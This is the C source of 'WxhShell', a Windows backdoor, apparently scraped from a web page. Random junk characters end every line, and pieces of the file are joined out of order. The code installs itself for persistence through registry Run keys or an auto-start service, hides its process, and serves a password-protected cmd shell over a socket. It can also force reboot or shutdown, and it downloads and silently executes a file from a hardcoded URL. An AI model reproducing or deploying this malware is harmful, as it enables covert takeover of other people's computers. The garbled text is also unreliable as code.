    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z"#.o^5  
    if(Boot(SHUTDOWN)) !)=o,sVA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CmOb+:4@K  
    else { Ul Iw&U  
    closesocket(wsh); EoeEg,'~F  
    ExitThread(0); %K7}yy&9C  
    } ?r<F\rBT7*  
    break; hd;I x%tq>  
    } rzHa&:Y  
  // 获取shell Fe .*O`  
  case 's': {  P+0xi  
    CmdShell(wsh); [4 j;FN Fa  
    closesocket(wsh); v3Yj2LSqx  
    ExitThread(0); bB-v ar  
    break; h'p0V@!N  
  } ;>9pJ72r  
  // 退出 rE:>G]j6  
  case 'x': { { )qP34rM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rYQ@"o0/Y  
    CloseIt(wsh); YC<I|&"  
    break; P1n@E*~V5  
    } Uj)]nJX  
  // 离开 iurB8~Y  
  case 'q': { h :R)KM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0)!zhO_}  
    closesocket(wsh); ,be?GAq  
    WSACleanup(); m5N&7qgp  
    exit(1); (xed(uFEK  
    break; +.I'U9QeUN  
        } $4L3y uH  
  } {6sfa?1j  
  } ".?{Y(~  
H@' @xHv  
  // 提示信息 a7G2C oM8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %LHV0u  
} @/L. BfTz  
  } V bOLTc  
c&-$?f r  
  return; ,r;d{  
} Ai18]QD-  
 u$8MVP  
// shell模块句柄 Cl!jK^AbG  
int CmdShell(SOCKET sock) {1|7N GQ  
{ CJ  
STARTUPINFO si; t}*!UixE  
ZeroMemory(&si,sizeof(si)); (t$/G3E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cV,Dl`1r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Po. BcytM  
PROCESS_INFORMATION ProcessInfo; FSs$ ] d;  
char cmdline[]="cmd"; &Ld8Z9IeFp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M) XQi/  
  return 0; ]_8I_V cQ  
} }9 2lr87  
!p2,|6Y`y  
// 自身启动模式 J6D$ i+  
int StartFromService(void) Ilb |:x"L  
{ N06O.bji  
typedef struct $ n[7  
{ :-" jK w  
  DWORD ExitStatus; "IJMvTmj  
  DWORD PebBaseAddress; [Od9,XBa  
  DWORD AffinityMask; .fY<"2g  
  DWORD BasePriority; l>Ja[`X@  
  ULONG UniqueProcessId; y4rJ-  
  ULONG InheritedFromUniqueProcessId; ':)j@O3-  
}   PROCESS_BASIC_INFORMATION; PJ:5Lb<  
$ywh%OEH  
PROCNTQSIP NtQueryInformationProcess; +N:6wZ7<f  
xGv,%'u\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G;c0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J&65B./mD9  
![ID0}MjJ  
  HANDLE             hProcess; -Bv1}xf=6  
  PROCESS_BASIC_INFORMATION pbi; dt&Lwf/  
l(\8c><m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]f-'A>MC  
  if(NULL == hInst ) return 0; 00a<(sS;  
#'J7Wy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C+m^Z[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -G#@BtB2+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iiB )/~!O  
^i)Q CDU7  
  if (!NtQueryInformationProcess) return 0; L00 ;rTs>  
J*KBG2+13  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Tc5OI'-V  
  if(!hProcess) return 0; 3l(;Pt-yI  
,h.Jfo54,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yi-"hT`  
nk$V{(FJ  
  CloseHandle(hProcess); C| IQM4  
4$DliP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =k<4mlok^  
if(hProcess==NULL) return 0; #s R0*  
A6y~_dt  
HMODULE hMod; Hs -.83V  
char procName[255]; ::Q);  
unsigned long cbNeeded; G|oB'~ {&  
&\ lS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [piF MxZP  
hIo S#]  
  CloseHandle(hProcess); ^npS==Y]!.  
:F w"u4WI  
if(strstr(procName,"services")) return 1; // 以服务启动 7a]Zws  
2n;;Tso"  
  return 0; // 注册表启动 !^bB/e  
} r2F  
FoD/Q  
// 主模块 V&j.>Y  
int StartWxhshell(LPSTR lpCmdLine) C\^<v&  
{ A.C278^O8  
  SOCKET wsl; imCl{vt(kj  
BOOL val=TRUE; xnuv4Z}]t  
  int port=0; lJ]\  
  struct sockaddr_in door; 4OZ5hH h  
mx(%tz^t  
  if(wscfg.ws_autoins) Install(); O-!fOdX8_k  
Nw>T $RzS  
port=atoi(lpCmdLine); Nk7eiQ  
VO;UV$$  
if(port<=0) port=wscfg.ws_port; |]!Ky[P  
W*rU,F|9  
  WSADATA data; ,{ L;B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f'`nx;@X  
BOiz ~h6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )C01f ZhD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L8w76|  
  door.sin_family = AF_INET; <AAZ8#^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r|\'9"@  
  door.sin_port = htons(port); eo*u(@  
6n6VEwYj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [T[9*6Kt  
closesocket(wsl); 6:@t=C  
return 1;  e(;`9T  
} CX ]\Q-y  
 2H K  
  if(listen(wsl,2) == INVALID_SOCKET) { kGuk -P  
closesocket(wsl); R4~zL!7;  
return 1; Wt)SdF=U/  
} @+\S!o3m  
  Wxhshell(wsl); 8}?Y;>s\  
  WSACleanup(); 4lh   
p-'6_\F.Ke  
return 0; F2PLy q  
tC@zM.v%  
} 'D0X?2  
B`?N0t%X  
// 以NT服务方式启动 VmOFX:j!,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A{8K#@!  
{ d7_g u  
DWORD   status = 0; oLqbR?  
  DWORD   specificError = 0xfffffff; Iz GB  
<jRFN&"h}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6mF{ImbRbS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {r].SrW9s9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `J=1&ae{  
  serviceStatus.dwWin32ExitCode     = 0; >\?z37 :T  
  serviceStatus.dwServiceSpecificExitCode = 0; Yf!*OGF  
  serviceStatus.dwCheckPoint       = 0; eb.cq"C  
  serviceStatus.dwWaitHint       = 0; @( n^S?(  
16[-3cJ T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `Ge+(1x  
  if (hServiceStatusHandle==0) return; jqX@&}3@  
>Z2,^5P{  
status = GetLastError(); Rgfc29(8  
  if (status!=NO_ERROR) =,C9O  
{ x'M^4{4[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I>kiah*  
    serviceStatus.dwCheckPoint       = 0; hM36QOdm  
    serviceStatus.dwWaitHint       = 0; `z?KL(rI  
    serviceStatus.dwWin32ExitCode     = status; =,AC%S_D~  
    serviceStatus.dwServiceSpecificExitCode = specificError; iO9nvM<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KYkS6|A  
    return; O+E1M=R6h  
  } }l}yn@hYC  
I NPYJ#%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^)hAVf~E  
  serviceStatus.dwCheckPoint       = 0; @m/;ZQ  
  serviceStatus.dwWaitHint       = 0; #j^('K|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >9.5-5"   
} Wiq{wxe  
0j{F^rph  
// 处理NT服务事件,比如:启动、停止 |ilv|UV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XJ:>UNf5;  
{ q4 Oxs  
switch(fdwControl) 0~Iu7mPY  
{ up3?$hUc.  
case SERVICE_CONTROL_STOP: T}n}.JwU  
  serviceStatus.dwWin32ExitCode = 0; @@%i( >4Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jNe(w<',P  
  serviceStatus.dwCheckPoint   = 0; wUK7um  
  serviceStatus.dwWaitHint     = 0; %qS]NC  
  { bSrRsgKvT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B=Zl&1  
  } Z p7yaz3y  
  return; A[^qq UL'  
case SERVICE_CONTROL_PAUSE: jF38kj3O7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c?!YFm  
  break; ${eY9-r_%  
case SERVICE_CONTROL_CONTINUE: /B,:<&_-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RHwaJ;:)#  
  break; =mHkXHE~:  
case SERVICE_CONTROL_INTERROGATE: yHWi [7$  
  break; KMK&[E#r  
}; IU Y> ih  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :H!(?(Pie  
} @,x_i8  
6%gB E  
// 标准应用程序主函数 }A4nJ>`tq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hncS_ZA  
{ p~Hvl3SxR  
4AY _#f5u  
// 获取操作系统版本 &jV9*  
OsIsNt=GetOsVer(); ?~"`^|d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]UX`=+{  
5q|+p?C  
  // 从命令行安装 2E`~ qn  
  if(strpbrk(lpCmdLine,"iI")) Install(); U,Z"G1^  
hWq. #e 6  
  // 下载执行文件 j>0<#SYBu  
if(wscfg.ws_downexe) { ]Q6+e(:~ZH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .e`,{G(5q7  
  WinExec(wscfg.ws_filenam,SW_HIDE);  ?YqJ.F;  
} .O5LI35,  
r-RCe3%g%  
if(!OsIsNt) { w=f0*$ue+w  
// 如果时win9x,隐藏进程并且设置为注册表启动 NXzU0  
HideProc(); tmO;:n<N  
StartWxhshell(lpCmdLine); )Qh>0T+(  
} cS<TmS!  
else G1kaF/`O  
  if(StartFromService()) Z69+yOJI  
  // 以服务方式启动 N#(jK1` y  
  StartServiceCtrlDispatcher(DispatchTable); X}oj_zsy;^  
else rQ9*J   
  // 普通方式启动 )!'n&UxPo$  
  StartWxhshell(lpCmdLine); D 4< -8  
ss? ]  
return 0; S5i+vUI8C  
} n K+lE0  
%&^Q(f  
R<f#r03@|  
1&"-*)  
=========================================== %ZujCZn  
OSp?okV  
9pWi.J  
6( >3P  
Dn~Z SrJ  
 f>.4-a?  
" [f<"p[  
q1YLq(e  
#include <stdio.h> oi7 3YOB  
#include <string.h> c]A Y  
#include <windows.h> M'yO+bu  
#include <winsock2.h> blJIto '  
#include <winsvc.h> : @'fpN  
#include <urlmon.h> - #3{{  
y L*LJ  
#pragma comment (lib, "Ws2_32.lib") \r)%R5_CQ  
#pragma comment (lib, "urlmon.lib") {IJ-4>  
C&=x3Cz  
#define MAX_USER   100 // 最大客户端连接数 BjM+0[HC  
#define BUF_SOCK   200 // sock buffer p3g4p  
#define KEY_BUFF   255 // 输入 buffer l`SK*Bm~<  
./$ <J6-J  
#define REBOOT     0   // 重启 q1H=/[a  
#define SHUTDOWN   1   // 关机 I0!j<G  
&k1/Z*/  
#define DEF_PORT   5000 // 监听端口 r)VLf#3B  
XZ} de%U1  
#define REG_LEN     16   // 注册表键长度 `)"tO&Fn  
#define SVC_LEN     80   // NT服务名长度  ylk{!  
cL#-*_(  
// 从dll定义API _3|6ZO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vl<`|C>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aiYo8+{!#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kEO1TS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7'Lp8  
aC`Li^  
// wxhshell配置信息 }/20%fP  
struct WSCFG { y =R aJm  
  int ws_port;         // 监听端口 d+tj%7  
  char ws_passstr[REG_LEN]; // 口令 0f1H8zV  
  int ws_autoins;       // 安装标记, 1=yes 0=no P*0f~eu  
  char ws_regname[REG_LEN]; // 注册表键名 wTT RoeJ}  
  char ws_svcname[REG_LEN]; // 服务名 9hy'DcSy,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XM$GQn]B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~L~]QN\3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u=%y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v{o? #Sk1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g^jJ8k,7(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~]&B >q  
ei@3,{~5  
}; D}MoNE[r  
`aIG;@Z  
// default Wxhshell configuration 8/Mx5~ R  
struct WSCFG wscfg={DEF_PORT, TM0b-W (H  
    "xuhuanlingzhe", R;r|cep  
    1, kfXS_\@iW1  
    "Wxhshell", aVP5%  
    "Wxhshell", Vc|NL^  
            "WxhShell Service", *%X.ym'  
    "Wrsky Windows CmdShell Service", T8U[xu.>  
    "Please Input Your Password: ", ^uhxURF  
  1, S/VA~,KCe;  
  "http://www.wrsky.com/wxhshell.exe", Q\|18wkW  
  "Wxhshell.exe" 6J\q`q(W(  
    }; Lx%:t YZ  
HcA[QBh  
// 消息定义模块 #pX8{Tf[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v;Es^ YI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6+iK!&+=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !3h{lE B  
char *msg_ws_ext="\n\rExit."; k52QaMKa~A  
char *msg_ws_end="\n\rQuit."; YZ< NP  
char *msg_ws_boot="\n\rReboot..."; zj{(p Z1  
char *msg_ws_poff="\n\rShutdown..."; MI\]IQU  
char *msg_ws_down="\n\rSave to "; Qwv '<  
(xL :;  
char *msg_ws_err="\n\rErr!"; x9%-plP  
char *msg_ws_ok="\n\rOK!"; +C_*Vs@4  
80}4/8  
char ExeFile[MAX_PATH]; ~T02._E  
int nUser = 0; Lyr2(^#:  
HANDLE handles[MAX_USER]; -D#5o,]3  
int OsIsNt; Jn*Nao_)  
uf]Y^,2  
SERVICE_STATUS       serviceStatus; B9*Sfw%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wu2:'y>n  
jn$j^ 51`C  
// 函数声明 '00J~j~  
int Install(void); yp p4L|R  
int Uninstall(void); 4 \ F P  
int DownloadFile(char *sURL, SOCKET wsh); I8k  
int Boot(int flag); $6!i BX@  
void HideProc(void); ufP Cx|x~  
int GetOsVer(void); fLNag~  
int Wxhshell(SOCKET wsl); GJ`UO  
void TalkWithClient(void *cs); 59i]  
int CmdShell(SOCKET sock); YBvd q1  
int StartFromService(void); x> \Bxa8  
int StartWxhshell(LPSTR lpCmdLine); vLDi ;  
<Oa9oM},d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cw#V`70a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \XS]N_}8>  
K_#UZA< Y  
// 数据结构和表定义 qlUzr.^-  
SERVICE_TABLE_ENTRY DispatchTable[] = EwQae(PpA  
{ wAh#   
{wscfg.ws_svcname, NTServiceMain}, Q]#Z9H  
{NULL, NULL} Gw{+xz KJ  
}; W-XpJ\_  
tOH0IE c  
// 自我安装 zMGzReJ  
int Install(void) >vVw!.fJ  
{ -:S IS`0s  
  char svExeFile[MAX_PATH]; El (/em  
  HKEY key; 8l23%iWxe  
  strcpy(svExeFile,ExeFile); JZ=5Bpw  
{ma;G[!  
// 如果是win9x系统,修改注册表设为自启动 4SR(->@  
if(!OsIsNt) { g 1@wf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bSrZ{l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k[9A,N^lZB  
  RegCloseKey(key); x=Mm6}/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wc|z7P~',%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^|?1_r  
  RegCloseKey(key); ?3jdg]&  
  return 0; HO5d%85  
    } a$m_D!b~_  
  } 9m8ee&,  
} tU:FX[&?R  
else { Qq3fZ=  
`6F +Rrn  
// 如果是NT以上系统,安装为系统服务 w$>3pQ8d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jBpVxv  
if (schSCManager!=0) 3cC }'j  
{ 1[DS'S  
  SC_HANDLE schService = CreateService 0S.?E.-&0  
  ( "={L+di:M  
  schSCManager, v!trsjb  
  wscfg.ws_svcname, `?uPn~,e8  
  wscfg.ws_svcdisp, #ElejQ|?  
  SERVICE_ALL_ACCESS, u D(t`W"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VAKy^nR5j  
  SERVICE_AUTO_START, xl2g0?  
  SERVICE_ERROR_NORMAL, LgHJo-+>  
  svExeFile, d(S}NH  
  NULL, 10MU-h.)  
  NULL, \hbiU ]  
  NULL, |ym%| B  
  NULL, tcA;#^jc  
  NULL =i6:puf  
  ); qks|d_   
  if (schService!=0) f&yQhe6q  
  { =M<z8R  
  CloseServiceHandle(schService); zZ,Yfd |W  
  CloseServiceHandle(schSCManager); )ooWQ-%P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &N\[V-GP2G  
  strcat(svExeFile,wscfg.ws_svcname); 0=;YnsY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N E= w6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0x5xLg;Q  
  RegCloseKey(key); o.^y1mH'  
  return 0; 2U9&l1P=  
    } ` X}85  
  } / Z!i;@Wf  
  CloseServiceHandle(schSCManager); D$nK`r  
} p5<2N  
} /2@["*^$  
4;*f1_;f~  
return 1; %-j&e44  
} gj+3y9  
%MJ;Q?KB  
// 自我卸载 sX:lE^)-z  
int Uninstall(void) XnXb&@Y  
{ !Iq{ 5:  
  HKEY key; Wsm`YLYkt!  
bGv4.:)  
if(!OsIsNt) { p4> ,Fwy2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CLN+I'uX0  
  RegDeleteValue(key,wscfg.ws_regname); %S#WPD'Y  
  RegCloseKey(key); Hr }k5'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ow.6!tl0=h  
  RegDeleteValue(key,wscfg.ws_regname); Vk7=7%xW  
  RegCloseKey(key); <4mQ*6  
  return 0; g:gB`8w?  
  } Jps .;yjk  
} ;&?pd"^<_Z  
} A/ 0qk  
else { )^ <3\e  
?63&g{vA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \##`pa(8  
if (schSCManager!=0) +v15[^F  
{ i&Kz*,pt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $(q8y/,R*-  
  if (schService!=0) G;]:$J  
  { xjq0D[  
  if(DeleteService(schService)!=0) { VzwPBQ -  
  CloseServiceHandle(schService); @2' %o<lF  
  CloseServiceHandle(schSCManager); {4rQ7J4Ux  
  return 0; jJ++h1 K  
  } Z$;"8XUM  
  CloseServiceHandle(schService); {L0;{  
  } ^?"^Pmw  
  CloseServiceHandle(schSCManager); zk=\lp2  
} r4;Bu<PQN1  
} !T'X 'Q  
nq;#_Rkr  
return 1; 7Dt"]o"+  
} wUp)JI  
BUC,M:J+H  
// 从指定url下载文件 tWD|qg_  
int DownloadFile(char *sURL, SOCKET wsh) 9?`RR/w  
{ 'IQsve7cI  
  HRESULT hr; xb$yu.c  
char seps[]= "/"; yFM>T\@  
char *token; OVswt  
char *file; dZ2`{@AYY  
char myURL[MAX_PATH]; 9 P"iuU  
char myFILE[MAX_PATH]; Oif,|:  
Vxh.<b6&'  
strcpy(myURL,sURL); [Ox(.  
  token=strtok(myURL,seps); Y<LNQ]8\G  
  while(token!=NULL) h&'=F)5  
  { 1D{#rA.X  
    file=token; O&$0&dhc  
  token=strtok(NULL,seps); Iql5T#K+  
  } 0kLEBoOh  
|E|6=%^  
GetCurrentDirectory(MAX_PATH,myFILE); SS8ocGX  
strcat(myFILE, "\\"); 3"rkko?A  
strcat(myFILE, file); Z> 74.r  
  send(wsh,myFILE,strlen(myFILE),0); p`>d7S>"  
send(wsh,"...",3,0); QN G&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I/s.xk_i  
  if(hr==S_OK) J22r v(  
return 0; kO ![X^V  
else R&So4},B  
return 1; . U/k<v<)6  
G5c7:iGm/c  
} ~_PYNY`"  
Ew4 g'A:H  
// 系统电源模块 x9V {R9_gf  
int Boot(int flag) 5py R ~+  
{ KQ)T(mIqp  
  HANDLE hToken; lbkL yp2  
  TOKEN_PRIVILEGES tkp; #T% zfcUj  
_413\`%8?  
  if(OsIsNt) { xzk}[3P{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w0Ij'=:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y @}FL;3  
    tkp.PrivilegeCount = 1; D4Sh9:\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s~$zWx@v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =`p&h}h-L  
if(flag==REBOOT) { l$XA5#k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hC>wFC  
  return 0; {;k_!v{  
} (cs~@  
else { ]Oso#GYD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) > saI+u'o  
  return 0; GS%b=kc  
} dVGbe07  
  } #x~_`>mDN  
  else { J}@GKNm  
if(flag==REBOOT) { ")M;+<c"l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~`Sle xK|}  
  return 0; {L9yhYw  
} \dV Too  
else { -1 W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o#e7,O  
  return 0; j'Wp  
} <]Y[XI(kr  
} z5EVG  
YzV(nEW  
return 1; K0<yvew  
} kp`0erJqw  
3*WS"bt  
// win9x进程隐藏模块 *Nlu5(z  
void HideProc(void) O5;-Om  
{ o!Fl]3F  
Yu3_=: <C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i<iXHBs  
  if ( hKernel != NULL ) <SQ(~xYi  
  { QS\ x{<e/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }m_t$aaUc1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @^CG[:|  
    FreeLibrary(hKernel); T %/  
  } r}EM4\r  
uaxB -PZ  
return; !}q."%%J_%  
} rzV"Dm$'  
7bT /KLU  
// 获取操作系统版本 J@` 8(\(  
int GetOsVer(void) AgsR-"uh  
{ Zh,]J `  
  OSVERSIONINFO winfo; p&5S|![\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EUZq$@uWL  
  GetVersionEx(&winfo); bp%S62Dj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J @B4 R&V  
  return 1; k4R4YI"jV  
  else -S$$/sR  
  return 0; ,}<RrUfD  
} 76cEKHa<  
-+P7:4/  
// 客户端句柄模块 .)`-Hkxa  
int Wxhshell(SOCKET wsl) b *9-}g:  
{ `a'` $'j  
  SOCKET wsh; a#QBy P  
  struct sockaddr_in client; ('d{t:TsY  
  DWORD myID; b42QBTeg  
XRa#2 1pQ  
  while(nUser<MAX_USER) T} 8CfG_ j  
{ <gcmsiB|  
  int nSize=sizeof(client); ][t 6VA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); owM mCR  
  if(wsh==INVALID_SOCKET) return 1; oD,C<[(p  
 UTX](:TC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iGa}3pF  
if(handles[nUser]==0) s3< F  
  closesocket(wsh); .. UoyBV  
else <[9?Rj@  
  nUser++; (nz}J)T&  
  } Omb.53+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~ B]jV$=  
~04[KG  
  return 0; 4\1;A`2%0  
} YFqZe6g0$  
:gaETr  
// 关闭 socket (H-cDsh;c  
void CloseIt(SOCKET wsh) z1Q2*:)c  
{ p1^0{ILx  
closesocket(wsh); lh$CWsx  
nUser--; WRM$DA  
ExitThread(0); i;]CL[#2e`  
} {Zwf..,  
B^m!t7/,  
// 客户端请求句柄 M[z3 f  
void TalkWithClient(void *cs) xgs@gw7!n0  
{ yjd(UWE  
YZ\@)D;  
  SOCKET wsh=(SOCKET)cs; GBr,LN  
  char pwd[SVC_LEN]; -t>Z 9  
  char cmd[KEY_BUFF]; M8_R  
char chr[1]; G"C;A`6  
int i,j; ;NG1{]|Z  
Gl;f#}  
  while (nUser < MAX_USER) { xFX&9^Uk  
cD8Ea(  
if(wscfg.ws_passstr) { qp@m&GH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EW9b*r7./  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g? I!OG  
  //ZeroMemory(pwd,KEY_BUFF); ?OO%5PSen  
      i=0; ^Po,(iIn  
  while(i<SVC_LEN) { )-#i8?y3C  
N"~ qoJO  
  // 设置超时 b- uZ"Kf^  
  fd_set FdRead; :ln/`_  
  struct timeval TimeOut; U1kh-8  :  
  FD_ZERO(&FdRead); + Y;8~+  
  FD_SET(wsh,&FdRead); ^(g_.>  
  TimeOut.tv_sec=8; CPGL!:  
  TimeOut.tv_usec=0; Z+,CL/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gi 5XP]z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g@(4ujOT  
ZR6&AiL(Bj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %HVD^. V  
  pwd=chr[0]; l# BZzJ?~  
  if(chr[0]==0xd || chr[0]==0xa) { & L'6KEahR  
  pwd=0; VH<e))5C  
  break; e3pnk =u  
  } nUqL\(UuY  
  i++; ]Y=S  
    } l{QC}{Ejc2  
{RJ52Gx(  
  // 如果是非法用户,关闭 socket &~}@u[=ux  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vgN@~Xa  
} zQt1;bo  
u`+ 'lBE,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v!KJ|c@m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }Q ;BQ2[  
6qf-Y!D5  
while(1) { =t HD 4I  
yH+c#w  
  ZeroMemory(cmd,KEY_BUFF); o Fi) d[`  
IF e+ B"  
      // 自动支持客户端 telnet标准   _E (x2BS?  
  j=0; wE8]'o  
  while(j<KEY_BUFF) { ~Q0&P!k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V4Qz*z%  
  cmd[j]=chr[0]; -zR.'x%  
  if(chr[0]==0xa || chr[0]==0xd) { g kn)V~ij  
  cmd[j]=0; p_;r%o=  
  break; S NN#$8\  
  } RB *P0  
  j++; K9^"NS3  
    } &AJUY()8  
_V&x`ks  
  // 下载文件 *cPN\Iu.W  
  if(strstr(cmd,"http://")) { yduuFK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +2El  
  if(DownloadFile(cmd,wsh)) yE<,Z%J[n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oLd:3,p}  
  else X= SG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0a@c/ XGBp  
  } zv,\@Z9.($  
  else { z41D^}b  
AT-0}9z{  
    switch(cmd[0]) { lqauk)(A0  
  =8@RKG`>;  
